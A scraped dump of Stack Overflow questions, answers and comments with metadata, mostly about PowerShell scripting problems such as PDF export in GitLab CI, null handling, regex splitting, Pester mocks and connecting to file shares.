has body: I have a powershell script to create a pdf from a docx. I can call it manually an it works fine: param( [string]$File, # Path to document [string]$DestinationFolder, # Path of folder [string]$NewName # New name for converted file ) # ======== check if parameter are valid ======== if (-not $File) { Write-Error "Parameter '-File' must not be empty" exit 1 } if (-not $DestinationFolder) { $DestinationFolder = Split-Path -Path $File } if (-not $NewName) { $NewName = [System.IO.Path]::GetFileNameWithoutExtension($File) + ".pdf" } # ======== create destination folder if not exists ======== if (-not (Test-Path -Path $DestinationFolder)) { $null = New-Item -Path $DestinationFolder -ItemType Directory -Force Write-Output "Path did not exist. Created folder: $DestinationFolder" } # ======== export pdf ======== Write-Output "Export pdf" $Word = New-Object -ComObject 'Word.Application' $Document = $Word.Documents.Open($File) $NewFilePath = [string](Join-Path $DestinationFolder $NewName) $Document.SaveAs($NewFilePath, 17) $Document.Close() $Word.Quit() Write-Output "Stored to $NewFilePath" but if I call it from a GitLab pipeline, I get the following exception at the line $Document.SaveAs($NewFilePath, 17): At D:\GitLab-Runner\builds\yxFfC2Egu\0\SPS_Entwicklung\test\ci-dev-test\ci\release\docx_to_pdf.ps1 :44 char:5 + $Document.SaveAs($NewFilePath, 17) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [], RuntimeException + FullyQualifiedErrorId : InvokeMethodOnNull You cannot call a method on a null-valued expression. At D:\GitLab-Runner\builds\yxFfC2Egu\0\SPS_Entwicklung\test\ci-dev-test\ci\release\docx_to_pdf.ps1 :45 char:5 + $Document.Close() + ~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [], RuntimeException + FullyQualifiedErrorId : InvokeMethodOnNull The script does not finish, but word takes more and more memory. I can only stop it by ending the task with the task manager. The gitlab runner service is started with an admin user I tried…
type: Question
tagged with: gitlab-ci
answer count: 1
linked to: http://stackoverflow.com/q/26991609
has title: export docx to pdf with powershell script in GitLab pipeline
tagged with: powershell

http://stackoverflow.com/comment/140008114
has text: Also check [Setting up a Git server on Windows using Git for Windows and Win32_OpenSSH](https://github.com/PowerShell/Win32-OpenSSH/wiki/Setting-up-a-Git-server-on-Windows-using-Git-for-Windows-and-Win32_OpenSSH)
comment on: http://stackoverflow.com/q/79391395
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79389610
has title: Assigning the result of a batch file to a variable throwing syntax error
favorite count: 0
has comment: http://stackoverflow.com/comment/140005258
tagged with: batch-file
has comment: http://stackoverflow.com/comment/140005279
type: UnansweredQuestion
tagged with: cmd
has body: Using PowerShell, to run a batch file and assign it to a variable, but I get this error. I have included the batch file codebase, the Linux command works, one of the reasons I didn’t see a need to include the batch file, I don’t have the knowledge of batch files to pinpoint where the error is coming from the file $KAFKA_CLUSTER_ID=& ".\bin\windows\kafka-storage.bat" random-uuid The input line is too long. The syntax of the command is incorrect. This is from the kafka codebase. kafka-storage.bat @echo off "%~dp0kafka-run-class.bat" kafka.tools.StorageTool %* kafka-run-class.bat @echo off setlocal enabledelayedexpansion IF [%1] EQU [] ( echo USAGE: %0 classname [opts] EXIT /B 1 ) rem Using pushd popd to set BASE_DIR to the absolute path pushd %~dp0..\.. set BASE_DIR=%CD% popd IF ["%SCALA_VERSION%"] EQU [""] ( set SCALA_VERSION=2.13.15 ) IF ["%SCALA_BINARY_VERSION%"] EQU [""] ( for /f "tokens=1,2 delims=." %%a in ("%SCALA_VERSION%") do ( set FIRST=%%a set SECOND=%%b if ["!SECOND!"] EQU [""] ( set SCALA_BINARY_VERSION=!FIRST! ) else ( set SCALA_BINARY_VERSION=!FIRST!.!SECOND! ) ) ) rem Classpath addition for kafka-core dependencies for %%i in ("%BASE_DIR%\core\build\dependant-libs-%SCALA_VERSION%\*.jar") do ( call :concat "%%i" ) rem Classpath addition for kafka-examples for %%i in ("%BASE_DIR%\examples\build\libs\kafka-examples*.jar") do ( call :concat "%%i" ) rem Classpath addition for kafka-clients for %%i in ("%BASE_DIR%\clients\build\libs\kafka-clients*.jar") do ( call :concat "%%i" ) rem Classpath addition for kafka-streams for %%i in ("%BASE_DIR%\streams\build\libs\kafka-streams*.jar") do ( call :concat "%%i" ) rem Classpath addition for kafka-streams-examples for %%i in ("%BASE_DIR%\streams\examples\build\libs\kafka-streams-examples*.jar") do ( call :concat "%%i" ) for %%i in ("%BASE_DIR%\streams\build\dependant-libs-%SCALA_VERSION%\rocksdb*.jar") do ( call :concat "%%i" ) rem Classpath addition for kafka tools for %%i in ("%BASE_DIR%\tools\build\libs\kafka-tool…
has comment: http://stackoverflow.com/comment/140004827
has comment: http://stackoverflow.com/comment/140005289
tagged with: windows
answer count: 1
type: Question
downvote count: 0
tagged with: powershell
score: 2
has answer: http://stackoverflow.com/a/79390025
upvote count: 2

http://stackoverflow.com/q/79381522
has title: Set Windows disk quota for new users in powershell
tagged with: command-line
answer count: 0
has comment: http://stackoverflow.com/comment/139989834
tagged with: powershell
type: UnansweredQuestion
has body: I am trying to write a Powershell script to set disk quotas for newly created users on Windows 11. fsutil does only allow setting the quota for specific users which doesn't help me here, I want to set it for users that are created later. I found the tip to create/set the values Limit, LimitUnits, Threshold and ThresholdUnits in the registry under HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DiskQuota, but that doesn't seem to do anything either.
score: 0
tagged with: quota
has comment: http://stackoverflow.com/comment/139989744
tagged with: windows
type: Question
tagged with: disk
has comment: http://stackoverflow.com/comment/139993079

http://stackoverflow.com/comment/139747028
has text: @gunr2171 I edited the original message up top with an image of the info I'm trying to change. It's under description. I want to be able to delete anything that is in there or edit it which whatever info I want in there.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79249450

http://stackoverflow.com/q/79362806
tagged with: powershell-core
type: Question
answer count: 1
linked to: http://stackoverflow.com/q/69774566
has comment: http://stackoverflow.com/comment/139961694
has comment: http://stackoverflow.com/comment/139957725
downvote count: 0
tagged with: powershell
has body: I have these files that talk to each other, i have other functions in the module file but i can't get it past the restart in v7. here is my script root directory PS C:\Users\user\Desktop\New folder> Get-ChildItem Directory: C:\Users\user\Desktop\New folder Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/14/2025 2:39 PM Binaries d----- 1/14/2025 2:39 PM Localizations d----- 1/14/2025 2:39 PM Manifest d----- 1/14/2025 2:39 PM Module -a---- 1/13/2025 10:33 PM 9504 Functions.ps1 -a---- 1/16/2025 7:00 PM 77328 test.ps1 in the Module psm1 file i have this function Restart-ScriptInPowerShell7 { Write-Verbose "Checking PowerShell version..." if ($PSVersionTable.PSVersion -lt [version]"7.0.0") { Write-Host "Current PowerShell version is less than 7. Relaunching in PowerShell 7..." # Get the current script path and arguments $scriptPath = $MyInvocation.MyCommand.Path $arguments = $args -join ' ' # Capture any arguments passed to the script # Ensure that arguments are not null or empty if (-not $arguments) { $arguments = "" } # Define the command to run the script in PowerShell 7 $command = "'$scriptPath' $arguments" # Relaunch the script in PowerShell 7 in the current window pwsh.exe -NoExit -Command $command Write-Verbose "Relaunching completed. Continuing execution after PowerShell 7 session starts." } else { Write-Host "Already running in PowerShell 7." } } it does what it's supposed to.. sort of... the script is expected to run in v7 but i am unable to get it past v5.1. here is my verbose output PS C:\Users\user\Desktop\New folder> .\test.ps1 -verbose Module imported successfully. Current PowerShell version is less than 7. Relaunching in PowerShell 7... PS C:\Users\user\Desktop\New folder> exit Script is running in PowerShell version 5.1.26100.2161 Hello! Name Value ---- ----- PSVersion 5.1.26100.2161 PSEdition Desktop PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} BuildVersion 10.0.26100.2161 CLRVersion 4.0.30319.42000 WSManStackVersion 3.0 PSRemotin…
has comment: http://stackoverflow.com/comment/139957790
has comment: http://stackoverflow.com/comment/139965684
has comment: http://stackoverflow.com/comment/139954458
has comment: http://stackoverflow.com/comment/139961361
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/139961387
has comment: http://stackoverflow.com/comment/139956152
has answer: http://stackoverflow.com/a/79366437
has comment: http://stackoverflow.com/comment/139956112
has title: I am trying to execute a main powershell script from v5.1 to v7 and continue
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/140050823
type: QuestionComment
type: Comment
has text: @Olaf, thanks for the advice. The complications here are: these machines are not in a domain, and the fileshare is created by some installer that's released by MSFT, not in my control. I may be able to find the folder on the server side and edit the ACL on it? looking into that...
comment on: http://stackoverflow.com/q/79413222
score: 0

http://stackoverflow.com/comment/139930267
has text: If you call the `appRoleAssignments` endpoint then in `resourceID` you want to use the ID of the service principal that has that role you want to assign, for example: if you wanted to assign `Users.Read.All` role then in `resourceID` you would put the ID of the Graph service principal (`00000003-0000-0000-c000-000000000000`). Just like in the example answer I shared before
score: 0
comment on: http://stackoverflow.com/q/79349700
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79286923
score: 0
has comment: http://stackoverflow.com/comment/139819398
tagged with: tee
has comment: http://stackoverflow.com/comment/139815371
has comment: http://stackoverflow.com/comment/139814208
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139814655
has comment: http://stackoverflow.com/comment/139814519
linked to: http://stackoverflow.com/q/71039495
tagged with: powershell
type: UnansweredQuestion
has title: windows powershell using tee to get output and file
has body: I'm doing my project on VScode and using the Powershell as my terminal. And i want my executable file shows on stantard output but also direct to a file. At first,I only do like this .\mytest.exe .\myinputfile &gt; myoutput.txt This get only a file,but i can't trace the code. And I search online and find that you can use tee to get what i want so i change my cmd to this, .\mytest.exe .\myinputfile | tee myoutput.txt but this gets the file only. what can i do to get also the stdoutput and the file? do i misunderstading the object tee ?

http://stackoverflow.com/q/79296217
has comment: http://stackoverflow.com/comment/139836334
has comment: http://stackoverflow.com/comment/139835508
has comment: http://stackoverflow.com/comment/139834789
score: 1
has comment: http://stackoverflow.com/comment/139832824
has answer: http://stackoverflow.com/a/79296572
has comment: http://stackoverflow.com/comment/139835252
possible better answer: http://stackoverflow.com/a/79296572
answer count: 2
favorite count: 0
has body: Consider the following: $psversiontable # 7.4.6 $a = $null $null -eq $a # Returns $true $a.GetType() # You cannot call a method on a null-valued expression. $b = $a.PSObject.Copy() # You cannot call a method on a null-valued expression. $c = Get-Process | Where-Object { $_.Name -eq "oiawmij3209j23oifnoeicn" } # Matches nothing, should return nothing $null -eq $c # Returns $true $c.GetType() # You cannot call a method on a null-valued expression. $d = $c.PSObject.Copy() # Works $d.GetType() # PSCustomObject My questions: What is the difference between $a and $c in this situation? They both apparently equate to $null. Why does $c.PSObject.Copy() work when $a.PSObject.Copy() doesn't? Why does $c.PSObject.Copy() work when $c.GetType() doesn't? What causes this? Is it something to do with Where-Object, or to do with PSObject.Copy(), or something else? How can I/should I reliably differentiate between/test for these cases? Thanks for your time. Edit: a comment asked why I'm using the PSObject property. It's to avoid this problem: # $hash2 is a "copy" of $hash1, but both variables actually just contain references to the same object in memory, so modifying $hash2 also modifies $hash1 $hash1 = @{ foo = "apple" } $hash2 = $hash1 $hash2.bar = "banana" Write-Host $hash1.bar # Returns "banana" # $hash4 is a "real" copy of $hash3, i.e. each variable contains a reference to a different object in memory, thus modifying $hash4 does NOT also modify $hash3 $hash3 = @{ foo = "apple" } $hash4 = $hash3.PSObject.Copy() $hash4.bar = "banana" Write-Host $hash3.bar # Returns nothing In the relevant production code there may be better ways to work around this, but that's how I'm currently doing it, and what spawned the question.
accepted answer: http://stackoverflow.com/a/79300085
type: Question
has answer: http://stackoverflow.com/a/79300085
has comment: http://stackoverflow.com/comment/139838083
has comment: http://stackoverflow.com/comment/139837869
has comment: http://stackoverflow.com/comment/139837864
has comment: http://stackoverflow.com/comment/139834884
has comment: http://stackoverflow.com/comment/139836137
has comment: http://stackoverflow.com/comment/139831761
has title: What is the difference between $null and the empty output of Where-Object?
upvote count: 2
has comment: http://stackoverflow.com/comment/139834796
has comment: http://stackoverflow.com/comment/139835292
linked to: http://stackoverflow.com/q/9581568
linked to: http://stackoverflow.com/q/22343187
tagged with: powershell
has comment: http://stackoverflow.com/comment/139831856
downvote count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/60102320
tagged with: null
linked to: http://stackoverflow.com/q/76630900

http://stackoverflow.com/comment/139798536
type: AnswerComment
has text: Thanks again for replying :) The 1740 is the interval, yes. In the IIS gui, that field is called "Regular Time intervals in Minutes" (1740) but the field I want is called "Specific Times" and it is 4:14am (also seen in OP in the output array) . It's the 4:14am that I need to be able to grab via script. I could probably parse the xml that contains this data, but it seems there should be an easier way to get this.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79278369

http://stackoverflow.com/comment/139762225
comment on: http://stackoverflow.com/q/79258378
type: Comment
score: 1
has text: As an aside: You seem to have accidentally swapped `return $true` and `return $false` and the associated `Write-Host` statements in your code.
type: QuestionComment

http://stackoverflow.com/q/79259964
has comment: http://stackoverflow.com/comment/139764923
linked to: http://stackoverflow.com/q/29119383
favorite count: 0
has answer: http://stackoverflow.com/a/79260663
possible better answer: http://stackoverflow.com/a/79260271
has comment: http://stackoverflow.com/comment/139764959
accepted answer: http://stackoverflow.com/a/79260663
type: Question
has answer: http://stackoverflow.com/a/79260271
linked to: http://stackoverflow.com/q/5516119
upvote count: 2
downvote count: 0
has title: How to split a string using a regex in Powershell?
type: AnsweredQuestion
score: 2
tagged with: powershell
has body: I want to reformat a string such as pcst400801 to have a hyphen before the last 4 digits: pcst40-0801. I've tried using -split and .Split() with no success. They both provide different results. -split seems to be closest but neither method provides me with something I can do anything with. .Split(): > $string = "pcst400801" > $string.Split("(?=\D{4}\d{2})") pcst400801 -split: > $string = "pcst400801" > $string -split "(\D{4}\d{2})" pcst40 0801 > $s1,$s2 = $string -split "(\D{4}\d{2})" > $s1 > $s2 pcst40 0801 In the -split example, it sets $s1 to null and sets $s2 to both of the substrings at the point I want them split. I then tried to split $s2 using \n as the delimiter but got an error about calling a method on a null-valued expression. I also tried $s1,$s2 = $string -split "(?=\D{4}\d{2})" which gave the same result as not using ?=. $s1 was still null but $s2 was the entire string. How do I split the string at the point I want and assign each substring to a variable?
has answer: http://stackoverflow.com/a/79259992
tagged with: split
has answer: http://stackoverflow.com/a/79263438
answer count: 4

http://stackoverflow.com/comment/140039412
comment on: http://stackoverflow.com/q/79406297
type: QuestionComment
type: Comment
score: 0
has text: A good way to fix code is to commit it to a version control system like Git, so that it is easy to see what has been changed. Then add some debug statements, so you can test intermediate values. In any program that does not work, there will be a difference between your expectation and reality. Your debug commands will help you find that bug. Once the bug has been identified, your version control system will make it easy to remove the debug commands, and then you can add the fix and re-commit.

http://stackoverflow.com/q/79412056
tagged with: pester-5
tagged with: mocking
has body: I am having trouble getting this simple Pester mocking code to work on this simple function. The $worksheets variable returns nothing and then I ultimately get the following error when the Clear() method is called. Error occurred clearing the Worksheet: You cannot call a method on a null-valued expression. Can anyone assist? Copilot got me something to work with but doesn't understand either why this does not work. function Clear-ExcelWorksheet { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string]$ExcelFilePath, [Parameter(Mandatory = $true)] [string]$WorkSheetName ) $package = New-Object OfficeOpenXml.ExcelPackage -ArgumentList $ExcelFilePath $worksheet = $package.Workbook.Worksheets[$WorkSheetName] $worksheet.Cells.Clear() $package.Save() $package.Dispose() } Describe "Clear-ExcelWorksheet" { Mock -CommandName New-Object -MockWith { [PSCustomObject]@{ Workbook = [PSCustomObject]@{ Worksheets = @{ Item = @{ "Sheet1" = [PSCustomObject]@{ Cells = [PSCustomObject]@{ Clear = { } } } } } } Save = { } Dispose = { } } } Context "When clearing a worksheet" { It "should clear the worksheet cells and save the package" { # Arrange $ExcelFilePath = "C:\path\to\file.xlsx" $WorkSheetName = "Sheet1" # Act Clear-ExcelWorksheet -ExcelFilePath $ExcelFilePath -WorkSheetName $WorkSheetName # Assert Assert-MockCalled -CommandName New-Object -Exactly 1 -Scope It Assert-MockCalled -CommandName Save -Exactly 1 -Scope It Assert-MockCalled -CommandName Dispose -Exactly 1 -Scope It } }
has answer: http://stackoverflow.com/a/79412192
tagged with: powershell
has title: Issue mocking New-Object in Pester for Powershell: "You cannot call a method on a null-valued expresssion"
type: UnansweredQuestion
score: 0
has answer: http://stackoverflow.com/a/79412343
answer count: 2
type: Question

http://stackoverflow.com/comment/139799754
comment on: http://stackoverflow.com/q/79278800
type: QuestionComment
type: Comment
score: 0
has text: I would recommend using PowerShell. https://learn.microsoft.com/en-us/powershell/module/sqlserver/invoke-ascmd?view=sqlserver-ps But linked server is also possible. The setup is a bit of a pain, because the OleDb provider needs to run out-of-process to do the Entra ID Authentication.

http://stackoverflow.com/comment/139988012
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79375029
score: 0
has text: @Venkatesan - small change in the requirement., updated my question.. could you pls help.. tnks!

http://stackoverflow.com/comment/140027220
comment on: http://stackoverflow.com/q/79383011
score: 0
has text: As a work-around I have found that if i run this command before querying the printer, it seems to come back with all the print jobs every time `'test' | Out-Printer -Name ""\\$($machine)\$($printer)""`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139984047
score: 0
type: AnswerComment
has text: @iRon: I think it still works: you'll get an extra, unwanted header for each _embedded_ `;` but these are filtered out with `-ne $null`
comment on: http://stackoverflow.com/a/79370869
type: Comment

http://stackoverflow.com/comment/139812981
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79286119
score: 0
has text: I'm not following your use case. If you are executing remotely, is this some kind of remote shell or remote desktop? What are you trying to do? Why are you using invoke-command if you can execute it without invoke-command? If you are reading contents on a remote computer, do you need to transfer it to the new computer? I'm not even sure what would be the point of a "large file" where you just read the contents .... large files by definition aren't the kind of files you want to scroll through in a terminal.

http://stackoverflow.com/q/79276071
has comment: http://stackoverflow.com/comment/139794502
type: UnansweredQuestion
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/79276655
has answer: http://stackoverflow.com/a/79276841
answer count: 2
favorite count: 0
has body: So learning ps for the 100th time and its suff like this that keeps tripping me up. a basic task.. I want all files in a folder, get the sum of files, average of files, minimum and maximum of files. In my head I would 1. get-help get-childitem, 2, get-help measure-object. I would come to the following... get-childitem -file | measure-object -property -sum -average -minimum -maximum The above will not work. I scratch my head for hours because im missing "length" it should be: Get-ChildItem -File | Measure-Object -Property length -Sum -Average -Minimum -Maximum my question is how as a beginner am I supposed to know to plug in length? Its these gotyas that put me off learning BTW i am going throught https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/09-functions?view=powershell-7.4 Tried - Get-ChildItem -File | Measure-Object -Property -Sum -Average -Minimum -Maximum Expecting below - I don't even know where count came from. Count : 17 Average : 80826320.0588235 Sum : 1374047441 Maximum : 880614528 Minimum : 0 Property : Length
has title: Get-ChildItem -File | Measure-Object -Property -Sum -Average -Minimum -Maximum
type: Question
downvote count: 0
tagged with: powershell

http://stackoverflow.com/comment/140013177
type: Comment
comment on: http://stackoverflow.com/a/79394066
score: 0
has text: Ah, not a GUI prompt, but command line. Got it.
type: AnswerComment

http://stackoverflow.com/q/79317839
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79317863
has title: PowerShell script returns different results when executing more than a single query
tagged with: powershell
linked to: http://stackoverflow.com/q/76656785
has comment: http://stackoverflow.com/comment/139869162
linked to: http://stackoverflow.com/q/34835327
score: 1
favorite count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/70484662
has comment: http://stackoverflow.com/comment/139869164
answer count: 2
has answer: http://stackoverflow.com/a/79318926
type: Question
has answer: http://stackoverflow.com/a/79317863
has body: I have two separate queries against an xml file, when I run them separately they work fine. However when I run them both in the same script, the output of the second query isn't correct. The input file looks like this: <?xml version='1.0' encoding='UTF-8' standalone='no'?> ADMINS WebService WebService WebService ADMINS WebService My script is as follows: [xml]$xml = Get-Content $InputPath\test002.xml $a = $xml.Safex.Add.User | ForEach-Object { [PSCustomObject]@{ 'Name' = $_.name 'Group' = $_.GroupMembership } } $a $b = $xml.Safex.Add.User | Where-Object { $_.GroupMembership -eq 'WebService' } | Select-Object @{Name = 'Name'; Expression = {$_.Name}}, GroupMembership #$b When I have $b commented out, then $a returns this: Name Group ---- ----- D2\\FRED@D2.com {ADMINS, WebService} D2\\WILMA@D2.com WebService D2\\BARNEY@D2.com WebService D2\\BETTY@D2.com ADMINS D2\\PEBBLES@D2.com WebService When I have $a commented out, then $b returns this: Name GroupMembership ---- --------------- D2\\FRED@D2.com {ADMINS, WebService} D2\\WILMA@D2.com WebService D2\\BARNEY@D2.com WebService D2\\PEBBLES@D2.com WebService When I have both $a and $b uncommented then I get this: Name Group ---- ----- D2\\FRED@D2.com {ADMINS, WebService} D2\\WILMA@D2.com WebService D2\\BARNEY@D2.com WebService D2\\BETTY@D2.com ADMINS D2\\PEBBLES@D2.com WebService D2\\FRED@D2.com D2\\WILMA@D2.com D2\\BARNEY@D2.com D2\\PEBBLES@D2.com I can't seem to figure out why when both $a and $b are uncommented, that the heading for $b doesn't appear, and the GroupMembership values don't appear. Appreciate any assistance you can offer.
possible better answer: http://stackoverflow.com/a/79318926
downvote count: 0

http://stackoverflow.com/a/79413576
answers question: http://stackoverflow.com/q/79413222
upvote count: 1
score: 1
has body: Not sure if this will work but worth a try, it uses WNetUseConnectionW function to establish a connection with your remote share and allows passing-in credentials. First Add-Type: Add-Type @' using System; using System.ComponentModel; using System.Management.Automation; using System.Runtime.InteropServices; public static class WinApiUseConnection { [DllImport("mpr.dll", SetLastError = true)] private static extern int WNetUseConnection( IntPtr hwndOwner, NETRESOURCE lpNetResource, string lpPassword, string lpUserId, uint dwFlags, string lpAccessName, string lpBufferSize, string lpResult); [StructLayout(LayoutKind.Sequential)] internal class NETRESOURCE { internal int dwScope = 0; internal int dwType = 0; internal int dwDisplayType = 0; internal int dwUsage = 0; internal string lpLocalName = ""; internal string lpRemoteName = ""; internal string lpComment = ""; internal string lpProvider = ""; } [DllImport("Mpr.dll", SetLastError = true)] private static extern int WNetCancelConnection2( string lpName, int dwFlags, bool fForce); public static void Connect(string unc, PSCredential credential) { NETRESOURCE networkResource = new NETRESOURCE() { dwType = 0x00000001, // RESOURCETYPE_DISK lpRemoteName = unc }; int result = WNetUseConnection( IntPtr.Zero, networkResource, credential.UserName, credential.GetNetworkCredential().Password, 0, null, null, null); if (result != 0) { throw new Win32Exception(); } } public static void Disconnect(string unc, bool force = false) { if (WNetCancelConnection2(unc, 0x00000001, force) != 0) { throw new Win32Exception(); } } } '@ Then, once the type is loaded, since you need to test until you can connect, the code you could try would be this while loop with a try / catch: $unc = '\\server\fileshare\' $cred = Get-Credential -Message 'Username and Password for the remote share' try { $succeeded = $false while (-not $succeeded) { try { # if this succeeds [WinApiUseConnection]::Connect($unc, $cred) # set this flag to true so loop ends $succeeded…
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139991664
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79382513
has text: Answer is no, unless they have documented that such and such requires elevation, i.e. "Update-Help requires administrative privileges in PowerShell 6.0 and below...." is documented. Afaik there is no attribute in System.Management.Automation to signal that a method requires elevation and even if it did that would still require developers to actually add that decoration to their code

http://stackoverflow.com/comment/139995184
has text: As i said that does not work as documented when just using value 0x8
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79375356

http://stackoverflow.com/comment/139984076
has text: @CatBusStop, I still have no explanation for the discrepancy between local vs. Azure pipeline execution, but a second `ConvertTo-Json` isn't the right approach to compensating for the argument-passing bug described in [this answer](https://stackoverflow.com/a/66837948/45375). Use `-replace '"', '\"'` in the simplest case, or - to prevent the `az` batch file from situationally breaking, depending on the JSON content - `-replace '"', '""'`. The linked answer has a more robust solution for JSON content that happens to contain verbatim ``\"`` sequences itself.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79375196
type: QuestionComment

http://stackoverflow.com/comment/139887336
type: AnswerComment
type: Comment
has text: I know, but I need to catch Value1 only as $PSBoundParameters shows all arguments: ```Value : {Value1, Value2}```
score: 0
comment on: http://stackoverflow.com/a/79324586

http://stackoverflow.com/q/79379554
accepted answer: http://stackoverflow.com/a/79393381
has answer: http://stackoverflow.com/a/79393381
has title: How can i set SCM Basic Auth Publishing and FTP Basic Auth Publishing for an app servicew slot in Azure?
has body: I am trying to set SCM Basic Auth Publishing and FTP Basic Auth Publishing using az cli . here is what i am doing <Login to azure> az webapp config set --name "<app_name>" --resource-group "rg>" --slot "<slotname>" --scm-enabled true az webapp config set --name "<app_name>" --resource-group "rg>" --slot "<slotname>" --ftp-state Enabled But it gives error "unrecognized arguments: --scm-enabled true" How can i do this using az cli ?
type: Question
has answer: http://stackoverflow.com/a/79455554
possible better answer: http://stackoverflow.com/a/79455554
type: AnsweredQuestion
tagged with: powershell
score: 0
answer count: 2

http://stackoverflow.com/a/79323142
type: Answer
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139886484
answers question: http://stackoverflow.com/q/79321927
has body: @Luuk's answer is a great starting point Here my commented alternative, which I have no doubt could be improved. the Remove-Item uses the -WhatIf parameter for safety. If it works as intented, remember to remove it. # Let's get all the MOV files. $MovieList = Get-ChildItem -File -Filter '*.mov' | # But we only need the base names without the extension. Select-Object -ExpandProperty BaseName # Let's get all the photos. $PhotoGroupArray = Get-ChildItem -File -Filter '*.jpg' | # Hashing them. Get-FileHash | # Grouping them by Hash, so 1 Hash : N Photos Group-Object -Property Hash | # Skipping Hashes with just 1 photo: they have no copies we need to remove. Where-Object { $_.Group.Count -gt 1 } | # Simplifying the resulting object by removing unneeded properties, though it's optional. Select-Object -Property @{Name = 'FileName'; Expression = { $_.Group.Path } } # For each group of photos. foreach ($PhotoGroup in $PhotoGroupArray) { # Check if any photo name is the same as any movie name, except for the extension of course. # If not, adds the photo to the array of files to remove. $RemoveList = foreach ($Photo in $PhotoGroup.FileName) { if ([System.IO.Path]::GetFileNameWithoutExtension($Photo) -notin $MovieList) { $Photo } } # If the number of photo to remove is the same as the full array of photos, it means there was no movie with the same name. if ($RemoveList.Count -eq $PhotoGroup.FileName.count) { # In this case remove every photo except the shortest name one. $RemoveList = $RemoveList | Sort-Object -Property Length -Descending -Top ($RemoveList.count - 1) } # Remove the compiled list. $RemoveList | Remove-Item -WhatIf } #&gt;
has comment: http://stackoverflow.com/comment/139888849

http://stackoverflow.com/comment/140156360
type: AnswerComment
has text: @Ziyuan As @Atul Kumar has mentioned in his answer below, update `conda` with system default `powershell 5.1` should work.
type: Comment
comment on: http://stackoverflow.com/a/79406026
score: 0

http://stackoverflow.com/comment/139957979
has text: System.Management.Automation.ParameterBindingArgumentTransformationException: Cannot process argument transformation on parameter 'Credential'. A command that prompts the user failed because the host program or the command type does not support user interaction. The host was attempting to request confirmation with the following message: Enter your credentials. ---> System.Management.Automation.Host.HostException: A command that prompts the user failed because the host program or the command type does not support user interaction.
type: Comment
comment on: http://stackoverflow.com/a/79362468
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139958561
type: AnswerComment
comment on: http://stackoverflow.com/a/79364898
type: Comment
score: 0
has text: The ones in the example of the comment based help above...

http://stackoverflow.com/comment/139890249
type: QuestionComment
comment on: http://stackoverflow.com/q/79320969
type: Comment
score: 0
has text: @Rukmini global admin did the same with same error as me - is it just vanilla entra or have you configured something special? So global admin az login does not work, I.e. token does not have enough permissions. Do you have any idea?

http://stackoverflow.com/a/79259577
has comment: http://stackoverflow.com/comment/139768125
answers question: http://stackoverflow.com/q/79259441
accepted answer of: http://stackoverflow.com/q/79259441
score: 1
upvote count: 1
has body: Theo has provided the crucial pointer: The -Path (-FilePath) parameter of provider cmdlets (which the first positional argument implicitly binds to), expects wildcard expressions. Because PowerShell's wildcard language also supports expressions such as [a-z] (to match any English letter), paths meant to be literal ones are misinterpreted if they happen to contain [ chars. To pass a literal (verbatim) path as such, use the -LiteralPath parameter explicitly. Alternatively, pass a file-information object such as produced by Get-ChildItem via the pipeline to a provider cmdlet, which also binds to -LiteralPath For more information, see this answer. Additionally, it is simpler to use the -Force switch with New-Item -ItemType Directory to ensure on-demand creation of a directory path, which obviates the need for a Test-Path call. Specifically, -Force creates any missing components of the specified directory path, if needed, and takes no action if the path already exists in full. In either case, a [System.IO.DirectoryInfo] instance describing the newly created or preexisting directory is output. To put it all together in the context of your code, with additional optimizations applied: # ... $mainDir = 'E:\scripttest' # -Directory limits the output to subdirectories. Get-ChildItem -Directory -LiteralPath $mainDir | ForEach-Object { # Extract the author's name and the remaining part of the directory name if ($_.Name -match '^(.*?) - (.*)$') { $author = $matches[1] $title = $matches[2] # Ensure that the target dir. exists, using -Force. $newSubDir = New-Item -Force -ItemType Directory -Path ( Join-Path (Join-Path $mainDir $author) $title ) # Move all files in the input dir. to the destination dir. # Note the use of the pipeline, which implicitly ensures # binding to the -LiteralPath parameter while also being more # efficient than calling Move-Item in a ForEach-Object loop. $_ | Get-ChildItem -File | Move-Item -Destination $newSubDir -Force } } Note: With New-Item, the -Path p…
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139768130
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139851679
type: Comment
has text: @AmigoJack, no, it doesn't miss the requirement - nothing in the question says that only _built-in_ `cmd.exe` commands must be used (which would make the problem all but impossible to solve). The Wikipedia article you link to directly contradicts your claim: "is bundled with all currently supported Windows versions".
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730

http://stackoverflow.com/a/79420718
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79409855
type: Answer
downvote count: 0
